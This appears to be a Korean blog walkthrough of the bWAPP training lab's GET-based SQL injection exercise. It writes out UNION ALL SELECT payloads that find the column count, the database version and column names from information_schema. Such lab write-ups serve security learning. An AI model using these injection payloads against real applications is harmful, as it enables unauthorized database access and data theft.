bWAPP SQL Injection [ GET/Select ] Current : low
GET
방식으로movie=1&action=go 로 매개변수가 노출된다.
따라서
SQL
테스트를 위해 '
를 넣어 취약점을 진단한 결과 '
는 아래와 같이SQL
구문 오류로 사용할수없도록 막아놨습니다.따라서 ,
'
없이 UNION ALL SELECT 1,2,3,4,5,6,7#
방식으로 칼럼 길이를 뽑아냅니다.UNION ALL SELECT 1,2,3,4,5,6,7#
방식으로 뽑아낸 길이를 통해 version()
명령어로 데이터베이스 운영체제 버전을 아래와 출력하여 테스트를 진행합니다.
이제
UNION ALL SELECT 1,column_name,3,4,5,6,7 from information_schema.columns#
를 통해 칼럼 정보를 조회합니다.
하지만 조회 결과 위와 같이 한줄 밖에 출력이 되지 않습니다.
따라서
limit
방식을 통해 칼럼이름을 확인합니다.UNION ALL SELECT 1,column_name,3,4,5,6,7 from information_schema.columns limit 6,1#
를 통해 아래와 같이 ID 칼럼을 알아낼수있습니다.
댓글
댓글 쓰기